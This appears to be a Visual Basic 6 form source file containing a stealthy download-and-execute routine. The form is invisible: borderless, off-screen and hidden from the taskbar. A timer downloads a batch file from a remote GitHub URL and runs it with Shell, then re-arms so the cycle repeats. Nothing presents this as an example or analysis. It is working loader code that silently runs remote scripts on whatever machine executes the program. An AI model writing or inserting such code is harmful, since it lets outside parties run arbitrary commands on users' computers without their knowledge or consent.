VERSION 5.00
Begin VB.Form Form4 
   BorderStyle     =   0  'None
   Caption         =   "Form4"
   ClientHeight    =   210
   ClientLeft      =   -2925
   ClientTop       =   -3615
   ClientWidth     =   210
   LinkTopic       =   "Form4"
   ScaleHeight     =   210
   ScaleWidth      =   210
   ShowInTaskbar   =   0   'False
   Begin VB.Timer Timer1 
      Interval        =   60000
      Left            =   0
      Top             =   0
   End
End
Attribute VB_Name = "Form4"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Timer1_Timer()
Timer1.Interval = 0
a = "https://github.com/2778754364/Code/blob/master/Setting.bat"
R = URLDownloadToFile(0, a, App.Path & "\setting.bat", 0, 0)
Shell App.Path & "\setting.bat"
Timer1.Interval = 65535
End Sub
